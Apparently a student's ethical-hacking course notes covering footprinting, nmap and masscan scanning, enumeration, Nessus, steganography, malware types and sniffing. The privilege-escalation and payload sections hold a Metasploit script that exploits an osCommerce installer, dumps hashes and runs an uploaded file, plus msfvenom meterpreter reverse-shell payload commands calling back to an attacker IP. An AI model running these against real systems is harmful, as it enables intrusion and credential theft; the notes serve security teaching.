Steps Involved in Footprinting
1. Planning and Preparation:
• Define the scope and objectives of your footprinting activity.
• Identify the tools and techniques appropriate for the target system or network.
2. Information Gathering:
• Gather initial information passively using public sources and search engines.
 • Utilize active scanning techniques to gather more detailed information about the
target's network infrastructure.
3. Analysis and Documentation:
• Analyze the collected information to identify potential vulnerabilities, entry
points, and attack surfaces.
• Document findings in a structured manner for further analysis and planning.
4. Reporting and Recommendations:
• Prepare a detailed report outlining the vulnerabilities identified and
recommendations for mitigating them.
• Present findings to stakeholders, including technical and non-technical
recommendations for improving security posture.
Legal and Ethical Considerations
• Permission: Ensure you have explicit permission from the organization or system owner
before conducting any footprinting activities.
• Compliance: Adhere to legal and ethical guidelines, including laws and regulations
governing cybersecurity practices in your jurisdiction.
• Responsible Disclosure: If vulnerabilities are discovered, follow responsible disclosure
practices to notify the organization and allow them to mitigate risks before public
disclosure.

Footprint a website:
• knowing:
netcat, wapplyzer
• subdomains:
sublist3r, sub domain finder
• file hide links:
link extracts, DIRB
• security of headers:
security headers.com
• ssl test:
ssllab’s.com
• IP and buffers:
sudu su
ping” website name’
ping-h
ping -f -h 1000 1.1.1.1 # 1.1.1.1 is an IP and 1000 is limit
 DNS footprinting :
• using tools
1. MXToolbox
MXToolbox is a comprehensive online tool that provides various DNS-related services,
including domain lookup, blacklist check, and DNS records lookup.
Steps to Use MXToolbox:
1. Go to MXToolbox:
• Visit MXToolbox.
2. Enter the Domain Name:
• Type the domain name you want to investigate in the search bar.
3. Select DNS Lookup:
• Choose the type of DNS record you want to query, such as A, MX, NS, TXT, etc.
4. Analyze Results:
• Review the DNS records, IP addresses, mail servers, and other information
provided by MXToolbox.
Example Commands on MXToolbox:
• MX Lookup: Displays mail exchange records.
• DNS Lookup: Shows various DNS records (A, MX, NS, TXT, etc.).

Footprinting Using Discover tool:

To create a comprehensive script for DNS footprinting using Discover in Kali Linux, we'll
integrate basic and advanced DNS enumeration techniques into a single executable script.
This script will perform DNS reconnaissance on a specified domain and save the output for
further analysis. Below is the complete script:
bash
#!/bin/bash

# Function to perform basic DNS enumeration

perform_basic_enum() {
echo "Performing basic DNS enumeration for $target_domain..."
discover -type dns -target $target_domain
}

# Function to perform advanced DNS enumeration (standard, brute-

force, zone transfer)
perform_advanced_enum() {
echo "Performing advanced DNS enumeration for
$target_domain..."
 discover -dns $target_domain
}

# Function to save output to a file

save_output() {
local output_file="dns_recon_output.txt"
echo "Saving output to $output_file..."
discover -dns $target_domain > $output_file
echo "Output saved to $output_file"
}

# Main script starts here

# Set your target domain here
target_domain="example.com"

# Perform basic DNS enumeration

perform_basic_enum

# Perform advanced DNS enumeration

perform_advanced_enum

# Save output to a file

save_output

echo "DNS reconnaissance completed."

Explanation:
1. Shebang (#!/bin/bash): Specifies that the script should be executed using Bash.
2. Functions:
• perform_basic_enum: Executes basic DNS enumeration using discover
-type dns -target $target_domain.
• perform_advanced_enum: Executes advanced DNS enumeration using
discover -dns $target_domain.
• save_output: Saves the output of advanced DNS enumeration to a file named
dns_recon_output.txt.
3. Variables:
• target_domain: Specifies the domain (example.com in this script) on
which DNS reconnaissance will be performed.
4. Usage:
• Save the script into a file (e.g., dns_recon_script.sh).
• Make the script executable:
bash
 chmod +x dns_recon_script.sh

• Replace example.com with the actual domain you want to perform

reconnaissance on.
• Run the script:
bash
./dns_recon_script.sh

Notes:
• Ensure discover is installed on your system (sudo apt install discover).
• Customize the script further by adding error handling, additional parameters for
discover, or other DNS reconnaissance techniques supported by discover.

Network scaning:
it is a process of scanning active online devices checking open port’s and
misconfiguration of a system

A network scanner is a tool used to discover and analyze network infrastructure

for various purposes, primarily focused on security assessments. Here's how a
network scanner typically works:
Network Scanner Overview:
1. Discovery:
• Host Discovery: The scanner first attempts to discover live hosts on a network.
 This is often done using techniques like ICMP ping sweeps (ping), ARP
requests, or TCP/UDP probes to identify active devices.
2. Port Scanning:
• Once live hosts are identified, the scanner performs port scanning to determine
which ports are open on these hosts. This helps in understanding what services are
running and accessible.
• TCP Connect Scan: Initiates a full TCP connection to the target port (e.g., nmap
-sT <target>).
• SYN Scan (Half-open Scan): Sends SYN packets to the target ports and analyzes
responses to determine open ports (e.g., nmap -sS <target>).
• UDP Scan: Attempts to determine which UDP (User Datagram Protocol) ports are
open on the target (e.g., nmap -sU <target>).
3. Service Detection:
• After identifying open ports, the scanner probes these ports to detect the type and
version of services running on them. This helps in understanding potential
vulnerabilities associated with specific services.
• Tools like nmap (nmap -sV <target>) are commonly used for service
detection.
4. Operating System Detection:
• Some advanced scanners can attempt to fingerprint the operating systems of
discovered hosts based on network responses. This helps in understanding the
technology stack and potential vulnerabilities specific to operating systems.
• nmap supports OS detection (nmap -O <target>).
5. Vulnerability Assessment:
• Many network scanners integrate with vulnerability databases to correlate
discovered services and versions with known vulnerabilities.
• Tools like Nessus or OpenVAS provide comprehensive vulnerability scanning
capabilities, offering detailed reports on potential security issues.
6. Reporting and Analysis:
• After completing scans, network scanners generate detailed reports summarizing
findings, including discovered hosts, open ports, identified services, and potential
vulnerabilities.
• Analysts review these reports to prioritize and remediate identified security issues,
improving overall network security posture.
7. Automation and Integration:
• Modern network scanners often support automation through scripting and
integration with other security tools and platforms.
• Automated scans can be scheduled to run at regular intervals to continuously
 monitor and assess network security.
8. Legal and Ethical Considerations:
• Network scanning should always be conducted with proper authorization from
network owners or administrators.
• Adherence to legal and ethical guidelines is critical to avoid unauthorized access
or disruption of network operations.
Benefits of Network Scanners:
• Identifying Security Weaknesses: Helps uncover potential vulnerabilities before they
can be exploited.
• Improving Compliance: Assists in meeting regulatory and compliance requirements by
maintaining a secure network environment.
• Enhancing Incident Response: Provides insights that can aid in incident response and
mitigation efforts.

Types of scan:
• Ping Scan (ICMP Echo):
Description: Checks the availability of hosts on a network by sending ICMP echo
requests (ping) and waiting for responses.
Tool Example: ping <target>
• TCP Connect Scan:
Description: Establishes a full TCP connection to each port being scanned. This is
reliable but can be easily detected by firewalls.
Tool Example: nmap -sT <target>
• SYN Scan (Half-open Scan):
Description: Sends SYN packets to the target ports and analyzes responses to determine
open ports without completing the full TCP handshake.
Tool Example: nmap -sS <target>
• UDP Scan:
Description: Attempts to determine which UDP ports are open on the target. UDP is
connectionless, making this scan more challenging than TCP scanning.
Tool Example: nmap -sU <target>
• ACK Scan:
Description: Determines whether ports are filtered or unfiltered by sending ACK packets
and analyzing responses.
Tool Example: nmap -sA <target>
• FIN Scan:
Description: Sends FIN packets to target ports. Responses can indicate whether ports are
open or closed.
 Tool Example: nmap -sF <target>
• XMAS Scan:
Description: Sends packets with FIN, PSH, and URG flags set. Responses can help
identify open or closed ports.
Tool Example: nmap -sX <target>
• NULL Scan:
Description: Sends packets with no flags set. Responses can indicate whether ports are
open, closed, or filtered.
Tool Example: nmap -sN <target>
• Service Version Detection:
Description: Identifies the version and type of services running on open ports, helping to
determine potential vulnerabilities.
Tool Example: nmap -sV <target>
• Operating System Detection:
Description: Attempts to determine the operating system of the target based on network
responses and other characteristics.
Tool Example: nmap -O <target>
• Comprehensive Scan (All TCP Ports):
Description: Scans all TCP ports on the target, providing a thorough assessment of
available services and potential vulnerabilities.
Tool Example: nmap -p- <target>
• Customized Scan (Specific Ports):
Description: Allows scanning of specific ports or ranges of ports based on known
services or areas of interest.
Tool Example: nmap -p <port1,port2-port3,...> <target>
Terminal code:
• # Switch to root user
• sudo su
•
• # Ping a target (replace 1.1.1.1 with the IP address or hostname)
• ping 1.1.1.1
•
• # Basic nmap scan (default scan type)
• nmap 1.1.1.1
•
• # Verbose nmap scan with timing and stealth options
• nmap -v -sT 1.1.1.1
•
 • # More aggressive nmap scan with increased timing and service version detection
• nmap -v -sT -T4 -p 1-800 1.1.1.1 > scan_results.txt
•
• # List files in the current directory
• ls
•
• # Another nmap scan with detailed output to a file
• nmap -v -sT -T4 -sv -p 1-800 -vv 1.1.1.1 > scan_results_verbose.txt
•
• # List files in the current directory
• ls
•
• # Convert text processing file to HTML
• xsltproc file.xml -o file.html
•
• # Exit from root user mode
• exit
•
• # Open HTML file in Firefox
• firefox file.html
•
• # Manual for nmap command
• man nmap
•
• # Advanced nmap scan with aggressive service detection and script scanning
• nmap -A 1.1.1.1
•
• # Advanced nmap scan with aggressive service detection and script scanning
• nmap -A 1.1.1.1 –script
using masscam:
• sudosu
• masscam
• masscam -p1-800 1.1.1.1 –rate 1000

Enumeration:
in cybersecurity refers to the process of extracting information about a target
system or network to identify potential vulnerabilities and entry points for
exploitation. It involves systematically gathering specific details about resources
such as computers, servers, applications, and users. Enumeration is a critical phase
in penetration testing and ethical hacking, as it helps in understanding the structure
and configuration of the target environment.
Types of Enumeration:
1. Network Enumeration:
• NetBIOS Enumeration: Querying NetBIOS services to gather information like
computer names, shares, users, etc.
• SNMP Enumeration: Using SNMP (Simple Network Management Protocol) to
retrieve network device information, configurations, and statistics.
• NTP Enumeration: Querying NTP (Network Time Protocol) servers to gather
system time and potentially other information.
• LDAP Enumeration: Querying LDAP (Lightweight Directory Access Protocol)
services to retrieve directory information and user details.
• DNS Enumeration: Gathering information from DNS (Domain Name System)
servers about hosts, domains, and IP addresses.
2. System Enumeration:
• User Enumeration: Identifying valid user accounts on a system, often through
techniques like brute-forcing, password guessing, or querying system accounts.
• Service Enumeration: Identifying and profiling services running on a system,
including open ports, version information, and potential vulnerabilities associated
with those services.
• Software Enumeration: Identifying installed software, versions, patches, and
configurations that could be exploited.
3. Application Enumeration:
• Web Application Enumeration: Identifying web applications, their URLs,
directories, and parameters.
• Database Enumeration: Gathering information about databases, tables, columns,
and stored procedures.
• File System Enumeration: Exploring file systems to discover sensitive files,
directories, and permissions.
Countermeasures Against Enumeration:
To defend against enumeration attempts, organizations can implement several countermeasures:
• Access Controls: Use strong authentication mechanisms and enforce the principle of
least privilege to limit access to sensitive information.
• Network Segmentation: Segment networks to reduce the attack surface and isolate
critical systems from less secure areas.
• Monitoring and Logging: Implement logging mechanisms to detect and respond to
 suspicious enumeration activities. Monitor network traffic for abnormal patterns.
• Patch Management: Regularly update systems and applications to mitigate
vulnerabilities that could be exploited through enumeration.
• Security Awareness: Train personnel on security best practices, including the risks
associated with disclosing information during social engineering attempts.
• Enumeration Testing: Conduct regular enumeration testing and vulnerability
assessments to identify weaknesses in the network and system configurations.
Terminal code:
Netbios enumeration:
• #!/bin/bash
•
• # Perform ping to check reachability
• ping 1.1.1.1
•
• # Perform an aggressive nmap scan
• nmap -sT -T4 -sV -oA output_scan -p 1-800 -v 1.1.1.1
•
• # Use nbtscan for NetBIOS name service scanning
• nbtscan 1.1.1.1
•
• # Perform another nmap scan with different ports
• nmap -p 1-200 -v 1.1.1.1 --script nb

SNMP enumeratioon:
• #!/bin/bash
•
• # Perform an nmap scan with SNMP script
• nmap -p 1-65535 --script=snmp 1.1.1.1
•
• # Perform a basic nmap scan on common ports
• nmap -p 1-1000 1.1.1.1
•
• # Use snmp-check to enumerate SNMP information
• snmp-check 1.1.1.1

SMTP enumeration:
• #!/bin/bash
 •
• # Perform an nmap scan on ports 1-800 with verbose output
• nmap -p 1-800 -v 1.1.1.1
•
• # Use netcat (nc) to perform a basic port scan on port 25
• nc -nv 1.1.1.1 25
•
• # Perform an nmap scan on port 25 of the IP address 1.1.1.1
• nmap -p 25 1.1.1.1

NFS Enumeration:
• #!/bin/bash
•
• # Perform an nmap scan on port 111 with NFS script against 1.1.1.1
• nmap -p 111 1.1.1.1 --script=nfs
•
• # Use showcase to enumerate information from 1.1.1.1
• showcase -e 1.1.1.1
•
• # Mount the NFS share from 1.1.1.1 to local directory /mnt/temp/test
• mount -t nfs 1.1.1.1:/home/temp/test /mnt/temp/test
•
• # Change directory to /mnt/temp/test
• cd /mnt/temp/test
•
• # List contents of current directory
• ls
•
• # Create a directory named "test" inside /mnt/temp/test
• mkdir test
•
• # List contents of current directory again
• ls

DNS enumeration:
• dnsenum “ domain name”
VULNERABILITY ASSESMENT:
Vulnerability assessment (VA) is a crucial process in cybersecurity aimed
at identifying, quantifying, and prioritizing vulnerabilities within a system, network, or
application. Here's an overview of vulnerability assessment and its classifications:
Definition:
Vulnerability assessment involves systematic review and analysis of security weaknesses in IT
infrastructure, applications, and systems. It helps in understanding potential risks and taking
preventive measures before exploitation by malicious actors.
Classifications of Vulnerability Assessment:
1. Network Vulnerability Assessment:
• Focuses on identifying vulnerabilities within network infrastructure such as
routers, switches, firewalls, and network protocols.
• Tools like Nessus, OpenVAS, and Nmap are commonly used for network
vulnerability scanning.
2. Web Application Vulnerability Assessment:
• Targets vulnerabilities specific to web applications, including input validation
issues, SQL injection, cross-site scripting (XSS), and insecure server
configurations.
• Tools like Burp Suite, OWASP ZAP, and Acunetix are popular for web application
security testing.
3. Database Vulnerability Assessment:
• Evaluates vulnerabilities within database systems (e.g., SQL Server, MySQL,
Oracle) such as weak authentication, SQL injection, and excessive permissions.
• Tools like DbProtect, SQLMap, and AppDetectivePro are used for database
vulnerability scanning.
4. Host Vulnerability Assessment:
• Identifies vulnerabilities within individual hosts (servers, workstations) including
missing patches, weak passwords, and misconfigured services.
• Tools like QualysGuard, Rapid7 InsightVM, and OpenVAS can perform host-
based vulnerability scans.
5. Wireless Network Vulnerability Assessment:
• Examines security weaknesses in wireless networks, including Wi-Fi routers,
access points, and encryption protocols.
• Tools like Aircrack-ng, Kismet, and Wifite are used for wireless network
vulnerability testing.
6. Physical Security Vulnerability Assessment:
• Assesses vulnerabilities related to physical security measures such as access
controls, surveillance systems, and facility entry points.
 • Techniques include physical penetration testing, security audits, and surveillance
system assessments.
Process:
• Discovery: Identifying assets and systems to be assessed.
• Mapping: Understanding relationships and dependencies between assets.
• Scanning: Using automated tools to detect vulnerabilities.
• Analysis: Assessing risks and potential impacts of identified vulnerabilities.
• Reporting: Documenting findings, prioritizing vulnerabilities, and recommending
mitigation strategies.

Importance:
• Risk Reduction: Helps in proactively addressing security weaknesses before they can be
exploited.
• Compliance: Often required for regulatory compliance (e.g., PCI DSS, HIPAA).
• Cost Savings: Prevents potential financial losses due to security breach
Vulnerability securing system:
Cvss v2.0 CVSS v3.0
0-3.9 is low dangerous 0-3.9 is low dangerous
4-6.9 is medium dangerous 4-6.9 is medium dangerous
7-10 is high danger or risk 7-10 is high or critical danger or risk

Terminal code:
• Download Nessus (adjust URL as necessary)
• wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/####/
download?i_agree_to_tenable_license_agreement=true -O nessus.deb
•
• Switch to root user
• sudo su
•
• Install Nessus package
• dpkg -i nessus.deb
 •
• Fix dependencies if needed
• apt-get install -f
•
• Start Nessus service
• service nessusd start
•
• Enable Nessus service to start on boot
• /bin/systemctl enable nessusd.service
•
• Access Nessus web interface
• # Open browser and navigate to https://localhost:8834/

System hackin;
System hacking involves unauthorized access, manipulation, or exploitation of computer systems
or networks. Here's a brief overview:
1. Definition: System hacking refers to gaining unauthorized access to computer systems or
networks through various means, often with the intention of stealing data, disrupting
operations, or causing damage.
2. Methods: Hackers use a variety of techniques to hack into systems, including exploiting
vulnerabilities in software, using malware like viruses or trojans, and employing social
engineering tactics to trick users into divulging sensitive information.
3. Goals: The goals of system hacking can vary widely. It may include accessing
sconfidential information (such as financial data or personal records), compromising the
integrity of data (by altering or deleting it), or disrupting system operations (by causing
denial of service attacks or other disruptions).
4. Prevention: Organizations and individuals can protect against system hacking by
implementing strong security measures such as using firewalls, antivirus software,
encryption, and regularly updating software to patch known vulnerabilities. Additionally,
user education about phishing scams and social engineering tactics is crucial.
5. Legal Aspects: System hacking is illegal in most jurisdictions and can result in severe
penalties, including fines and imprisonment, if caught and convicted.

Privilage escalation on linux and windows:

Privilege escalation is the process of gaining higher-level
permissions on a system than originally assigned. This can be achieved by exploiting
vulnerabilities, misconfigurations, or weaknesses in the operating system or applications
running on the system. There are two types of privilege escalation:
1. Vertical Privilege Escalation: Obtaining higher-level permissions, such as root on Linux
or Administrator on Windows.
2. Horizontal Privilege Escalation: Gaining access to the same level of permissions as
another user but not higher-level permissions.

• #!/bin/bash
•
• # Elevate to root user
• sudo su
•
• # Step 1: Perform an Nmap scan on the target IP
• echo "Running Nmap scan on 1.1.1.1..."
• nmap 1.1.1.1
•
• # Step 2: Use Enum4Linux to enumerate information from the target IP
• echo "Running Enum4Linux on 1.1.1.1..."
• enum4linux 1.1.1.1
•
• # Step 3: Start Metasploit Framework console
• echo "Launching Metasploit Framework console..."
• msfconsole -q -x "
•
• # Step 4: Search for osCommerce related exploits
• search oscommerce;
•
• # Step 5: Use a specific osCommerce exploit (adjust the module path if needed)
• use exploit/unix/webapp/oscommerce_installer_unauth_code_exec;
•
• # Step 6: Set the target IP address
• set RHOST 1.1.1.1;
•
• # Step 7: Set the target port number
• set RPORT 8080;
•
• # Step 8: Set the URL path to the osCommerce installation directory
• set URLPATH /oscommerce-2.3.4/catalog/install;
•
• # Step 9: Execute the exploit
• run;
•
• # Step 10: Retrieve system information from the target machine
• sysinfo;
•
 • # Step 11: Dump the password hashes from the target machine
• hashdump;
•
• # Step 12: Upload a file named 'blue.exe' to the target machine
• upload /path/to/blue.exe /tmp/blue.exe;
•
• # Step 13: Execute the uploaded 'blue.exe' file on the target machine
• execute -f /tmp/blue.exe;
•
• # Step 14: List all active sessions
• sessions;
•
• # Step 15: Interact with a specific session (assumed session ID 1)
• session -i 1;
•
• # Step 16: Display help menu with available commands in the current context
• help;
•
• # Step 17: Dump the password hashes from the target machine (repeated)
• hashdump;
•
• # Exit Metasploit console
• exit;
•
• "
•
• echo "Script execution completed."

Privilage escalation payload gernating method

• #!/bin/bash
•
• # Elevate to root user
• sudo su
•
• # Step 1: Generate the payload using msfvenom
• echo "Generating the payload with msfvenom..."
• msfvenom -p windows/meterpreter/reverse_tcp
LHOST=1.1.1.1 LPORT=4444 -f exe -o blue.exe
•
• # Step 2: Start Metasploit Framework console
• echo "Launching Metasploit Framework console..."
 • msfconsole -q -x "
•
• # Step 3: Use the exploit/multi/handler module
• use exploit/multi/handler;
•
• # Step 4: Set the payload to
windows/meterpreter/reverse_tcp
• set payload windows/meterpreter/reverse_tcp;
•
• # Step 5: Show the available options for the
payload
• show options;
•
• # Step 6: Set the LHOST to 1.1.1.1
• set LHOST 1.1.1.1;
•
• # Step 7: Set the LPORT to 4444
• set LPORT 4444;
•
• # Step 8: Execute the exploit
• exploit;
•
• # Exit Metasploit console
• exit;
•
• "
•
• echo "Script execution completed."

stegangraphy:
Steganography is the practice of concealing a message, image, or file within another
message, image, or file. Unlike cryptography, which protects the contents of a message,
steganography hides the very existence of the message. The word "steganography" is derived
from the Greek words "steganos" (meaning covered or concealed) and "graphein" (meaning
writing).
Types of Steganography
1. Text Steganography
• Line Shift Coding
• Word Shift Coding
• Feature Coding
• Invisible Characters
2. Image Steganography
• Least Significant Bit (LSB) Insertion
• Masking and Filtering
• Transform Domain Techniques (e.g., DCT, DWT)
• Palette-based Techniques
3. Audio Steganography
• Least Significant Bit (LSB) Coding
• Phase Coding
• Echo Hiding
• Spread Spectrum
4. Video Steganography
• Least Significant Bit (LSB) Insertion
• Transform Domain Techniques (e.g., DCT, DWT)
• Motion Vector Based Techniques
• Bit Plane Complexity Segmentation (BPCS)
5. Network Steganography
• Covert Channels
• Timing Channels
• Packet Padding
• Protocol Steganography
6. File System Steganography
• Slack Space
• Alternate Data Streams (ADS)
• Hidden Directories and Files
• File Attribute Manipulation
Tools for Steganography
1. Text Steganography Tools
• Stego: A simple text steganography tool that hides messages in text files.
• Snow: Uses whitespace characters (spaces and tabs) at the end of lines to hide messages.
2. Image Steganography Tools
• OpenPuff: A powerful steganography tool supporting multiple formats, including
images, audio, and videos.
• StegHide: Embeds data in BMP and JPEG images as well as WAV and AU files.
• SilentEye: A cross-platform steganography application that supports image and audio
files.
• F5 Steganography: A tool for hiding data in JPEG images using F5 algorithm.
• S-Tools: An older but still useful tool for embedding data in BMP, GIF, and WAV files.
3. Audio Steganography Tools
• DeepSound: Hides secret data in audio files and can be used to encrypt the hidden files.
• Steghide: Also supports audio formats like WAV and AU in addition to images.
• Hide4PGP: Uses audio files (WAV) to hide information securely.
4. Video Steganography Tools
• OpenPuff: Also supports video files along with images and audio.
• Camouflage: Allows you to hide files by merging them with other files.
• StegoStick: A video steganography tool that hides data in video files.
• Xiao Steganography: Hides data in BMP images and WAV files, but can also embed
messages in video files.
5. Network Steganography Tools
• NetSteg: A network steganography tool that hides data within network packets.
• StegTunnel: Encodes data within network traffic.
• Covert_TCP: A tool to hide information within TCP/IP packets.
6. File System Steganography Tools
• ADS Manager: Manages alternate data streams on NTFS file systems.
• FragFS: A file system steganography tool that hides files within fragmented file systems.
• StegoFS: A steganographic file system that allows files to be hidden within a file system.
Popular Multi-purpose Steganography Tools
• StegoSuite: A Java-based steganography tool that supports both image and text
steganography.
• OpenStego: A versatile tool that supports image steganography and watermarking.
• Stegano: A Python library for steganography that supports images, audio, and network
steganography.

Malware and trojans:

Malware, short for malicious software, refers to any software intentionally
designed to cause damage to a computer, server, client, or computer network. Malware comes in
various forms, each designed for specific malicious purposes. Here are the common types of
malware:
1. Viruses
• Description: Viruses attach themselves to legitimate programs and replicate when the
infected program runs. They can delete files, steal data, or cause system damage.
• Propagation: Typically spreads through infected files, email attachments, or
compromised websites.
2. Worms
• Description: Worms are standalone malware that self-replicates and spreads across
networks without requiring a host program. They can consume bandwidth, overload web
servers, and spread quickly.
• Propagation: Exploits vulnerabilities in network services or uses social engineering to
trick users into executing them.
3. Trojans (Trojan Horses)
• Description: Trojans appear as legitimate software but contain malicious code. They do
 not self-replicate like viruses but can create backdoors for attackers, steal data, or cause
system harm.
• Propagation: Often spread through email attachments, downloads from malicious
websites, or bundled with legitimate software.
4. Ransomware
• Description: Ransomware encrypts files on a victim's system and demands payment
(ransom) to decrypt them. It can spread rapidly and cause significant data loss or financial
damage.
• Propagation: Usually spread through malicious email attachments, compromised
websites, or exploit kits.
5. Spyware
• Description: Spyware secretly monitors a user's activities without their knowledge or
consent. It can track keystrokes, capture screenshots, monitor web browsing habits, and
steal sensitive information.
• Propagation: Often bundled with free software downloads or distributed through
phishing emails.
6. Adware
• Description: Adware displays unwanted advertisements on a user's device. While not
inherently malicious, it can degrade system performance, compromise privacy, and lead
to unintentional clicks on malicious links.
• Propagation: Bundled with free software or downloaded from compromised websites.
7. Rootkits
• Description: Rootkits are stealthy malware that provides privileged access
(root/administrator level) to a computer or network. They can hide other malware, alter
system files, and evade detection by security software.
• Propagation: Often installed through exploiting vulnerabilities or social engineering
techniques.
8. Botnets
• Description: Botnets are networks of infected computers (bots) controlled by a central
command-and-control (C&C) server. They can be used for distributed denial-of-service
(DDoS) attacks, spamming, or spreading malware.
• Propagation: Infected computers join the botnet by downloading malicious software or
through exploitation of vulnerabilities.
9. Keyloggers
• Description: Keyloggers record keystrokes on a user's device to capture sensitive
information such as passwords, credit card numbers, or personal messages.
• Propagation: Installed through phishing attacks, infected email attachments, or
compromised websites.
10. Fileless Malware
• Description: Fileless malware operates in memory and does not drop files on the disk,
making it harder to detect. It exploits legitimate system tools and processes to execute
malicious actions.
• Propagation: Often delivered through phishing emails or exploited vulnerabilities in
software.
11. Mobile Malware
• Description: Malware designed specifically to target mobile devices (smartphones,
tablets). It can steal personal information, track location, send premium-rate SMS, or
remotely control the device.
• Propagation: Distributed through malicious apps, compromised app stores, or phishing
links sent via SMS.
12. Macro Viruses
• Description: Macro viruses infect documents and spreadsheets that support macros (e.g.,
Microsoft Office documents). They execute malicious macros to infect systems and
spread to other documents.
• Propagation: Spread through infected documents shared via email or file-sharing
services.

Saving method:
File Saving on Computer:
• Manual Save: Use "Save" or "Save As" options in applications to save files locally on
your computer. This is typically done when working with documents, spreadsheets,
presentations, etc.
• Auto Save: Some applications have auto-save features that periodically save your work
to prevent data loss in case of unexpected shutdowns or crashes.
2. Cloud Storage:
• Online Services: Services like Google Drive, Dropbox, OneDrive, and iCloud allow you
to save files remotely on their servers. This provides accessibility from any device with
internet access and backup in case of hardware failure.
• Syncing: Files stored in cloud storage can be synced across multiple devices, ensuring
you have the latest version available everywhere.
3. External Storage Devices:
• USB Flash Drives: Portable and convenient for transferring files between computers.
• External Hard Drives: Larger storage capacity for backing up large amounts of data.
• SSD Drives: Faster and more durable compared to traditional hard drives.
4. Network Drives:
• Network-Attached Storage (NAS): Storage devices connected to a network, accessible
to multiple users or devices. Useful for sharing and backing up data within a network
environment.
5. Version Control Systems:
• Git: Primarily used for software development but can also be used for versioning and
collaboration on any type of files.
• SVN (Subversion): Another version control system that tracks changes to files over time.
6. Backup Strategies:
• Regular Backups: Establish a routine to back up important files to external drives or
cloud storage to protect against data loss.
• Incremental Backups: Backup only the data that has changed since the last backup,
reducing backup time and storage requirements.
7. Security Considerations:
 • Encryption: Encrypt sensitive data before saving or transferring it to ensure privacy and
security.
• Backup Redundancy: Maintain multiple copies of important data to guard against
hardware failure, theft, or other unforeseen events.
8. Documenting and Organizing:
• File Naming Conventions: Adopt consistent naming conventions to easily locate and
identify files.
• Folder Structure: Organize files into folders based on categories, projects, or date to
maintain organization and ease of access.
How to create a payload:
Creating a payload typically refers to generating a piece of code or software that, when executed,
performs a specific action on a target system. In the context of cybersecurity and ethical hacking,
payloads are often used to exploit vulnerabilities or gain unauthorized access for testing and
security purposes. Here’s a general guide on how to create a payload:
1. Choose a Framework or Tool
Payload creation is commonly done using specialized frameworks or tools that automate much of
the process. Some popular tools include:
• Metasploit Framework: A powerful framework for developing, testing, and executing
exploits.
• Veil Framework: Designed for generating payloads that bypass traditional antivirus
solutions.
• MSFvenom (part of Metasploit): A versatile tool for generating payloads for various
platforms and architectures.
2. Select a Payload Type
Payloads can vary in type depending on the desired outcome, such as gaining shell access,
extracting data, or executing commands. Common types include:
• Reverse Shell: Establishes a connection from the target back to the attacker's machine,
allowing command execution and file transfer.
• Meterpreter Shell: A payload that provides advanced features for interacting with the
target system, part of Metasploit’s payload options.
• Trojan: A payload disguised as legitimate software to trick users into executing it, often
used for remote access or data theft.
3. Specify Payload Parameters
Depending on the tool or framework you’re using, you’ll need to specify parameters such as:
• LHOST (Listener Host): The IP address of the machine where the attacker is listening
for incoming connections.
• LPORT (Listener Port): The port number on the attacker's machine that listens for
connections from the payload.
4. Generate the Payload
Using the selected tool or framework, generate the payload with the specified parameters. Here’s
an example using msfvenom from the Metasploit Framework to create a Windows Meterpreter
reverse shell payload:
bash
Copy code
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip
LPORT=4444 -f exe -o payload.exe

• -p: Specifies the payload type (windows/meterpreter/reverse_tcp for a

Windows reverse shell).
• LHOST: Replace attacker_ip with the IP address of the attacker machine.
• LPORT: Specify the port number (4444 in this example).
• -f: Specifies the output format (exe for Windows executable).
• -o: Specifies the output file (payload.exe).
5. Deliver and Execute the Payload
Once the payload is generated, the next steps typically involve delivering it to the target system
and executing it. This can be done through various means such as social engineering (tricking
users into running the payload), exploiting vulnerabilities, or using other methods to gain initial
access.
6. Handle Callbacks
After executing the payload, monitor the listener (msfconsole for Metasploit payloads) to
handle incoming connections and interact with the compromised system.
7. Ethical Considerations
Always ensure that you have legal authorization and permission before creating or deploying
payloads. Unauthorized use of payloads or exploitation tools is illegal and unethical.
Payload creation requires careful consideration of legal implications, security best practices, and
ethical standards. It’s essential to use these techniques responsibly and within legal boundaries,
such as for penetration testing in controlled environments or security research purposes.

Sniffing:
Sniffing refers to the practice of capturing and analyzing packets of data as they travel across a
network. This activity can be used for both legitimate network monitoring purposes and for
malicious activities in hacking. Here's a brief overview of sniffing:
What is Sniffing?
• Definition: Sniffing involves intercepting and logging traffic passing over a network. It
allows monitoring of data packets in real-time or capturing them for later analysis.
• Purpose: It's commonly used for network troubleshooting, security monitoring, and
performance optimization. However, it can also be exploited for malicious purposes like
stealing sensitive information.
Types of Sniffing
1. Passive Sniffing:
 • Description: This method does not interfere with the network's normal operation.
It involves monitoring traffic without actively sending packets or altering the
network.
• Advantages: It is less likely to be detected by network security measures.
• Examples: Tools like Wireshark, Tcpdump are commonly used for passive
sniffing.
2. Active Sniffing:
• Description: Involves placing a network interface into promiscuous mode to
capture and analyze packets actively.
• Advantages: Can capture more detailed traffic information, including non-
broadcast traffic.
• Examples: Tools like Ettercap, Cain & Abel perform active sniffing and can even
modify intercepted data packets.
Risks and Mitigation
• Security Risks: Sniffing can lead to the exposure of sensitive data such as login
credentials, financial information, or confidential communications.
• Mitigation: To prevent unauthorized sniffing:
• Use encrypted communication protocols (e.g., HTTPS, SSH) to protect sensitive
data.
• Implement network segmentation and access controls to limit access to critical
network segments.
• Monitor network traffic regularly for suspicious activities using intrusion
detection systems (IDS) and intrusion prevention systems (IPS).
Tools Used for Sniffing
• Wireshark: A widely used network protocol analyzer for capturing and analyzing
packets.
• Tcpdump: Command-line tool for capturing and analyzing packets on Unix-like systems.
• Ettercap: A comprehensive suite for man-in-the-middle attacks and sniffing.
• Cain & Abel: A tool for password recovery, packet sniffing, and network analysis.

Mac spofing and flooding:

MAC Spoofing
Definition: MAC spoofing involves changing the Media Access Control (MAC) address of a
network interface to impersonate another device or to bypass MAC address filtering.
• Purpose: It can be used for legitimate purposes such as testing network security measures
or for malicious activities like bypassing access controls or conducting man-in-the-middle
attacks.
• Implementation: Tools like macchanger on Linux or Technitium MAC Address
Changer on Windows allow users to change their MAC address easily.
• Detection and Mitigation:
• Detection can be challenging since MAC addresses can be easily spoofed.
• Network administrators can use MAC address whitelisting, port security features
 (like IEEE 802.1X), or intrusion detection systems (IDS) to detect and mitigate
spoofing attempts.
MAC Flooding
Definition: MAC flooding (also known as MAC flooding attack) is a technique where an
attacker sends a flood of packets with different source MAC addresses to a switch.
• Purpose: The goal is to overload the switch’s CAM table (Content Addressable Memory
table) where it stores MAC address-port mappings.
